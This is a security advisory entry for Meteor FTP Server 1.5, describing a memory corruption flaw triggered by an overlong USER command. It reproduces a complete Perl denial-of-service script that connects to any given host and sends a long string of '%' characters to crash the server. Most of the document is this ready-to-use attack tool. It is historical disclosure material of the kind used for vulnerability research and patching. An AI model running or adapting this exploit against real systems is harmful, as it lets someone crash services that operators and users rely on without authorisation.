source: http://www.securityfocus.com/bid/8376/info

Meteor FTP Server is prone to a memory corruption vulnerability that can be triggered by a malicious client via an overly value for the FTP USER command. This could be exploited to cause a server crash.

Further reports indicate that this may likely also be exploited to execute arbitrary code in the context of the affected server.

#!/usr/bin/perl
#
# meteordos.pl - Remote denial of service against Meteor FTP Version 1.5
#
# A vulnerability has been identified in Meteor FTP Version 1.5, which
# allows malicious users to remotely crash the ftpd. By connecting to the 
# ftpd and issuing USER followed by large amounts of data, the server 
# crashes. For more info, go to : 
# http://www.evicted.org/projects/writings/mftpadvisory.txt
# 
# Usage : ./meteordos.pl <host/ip>
#
# Vulnerability & code by zerash
# Contact : [email protected]

use Net::FTP;
$host = $ARGV[0];

if("$ARGV[0]" eq "") {
	print("DoS against Meteor FTP Version 1.5 by [email protected]");
	die("Usage : ./meteorftpdos <host/ip>n");
} else {	
	
	print("Connecting to $host...n");
	my $ftp = Net::FTP->new($host) or die "Couldn't connect to $hostn";
	print("Connected!n");
	print("Attempting to exploit the ftpd...");
	$ftp->login('%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%');
	$ftp->quit;
	print("Success!n");
}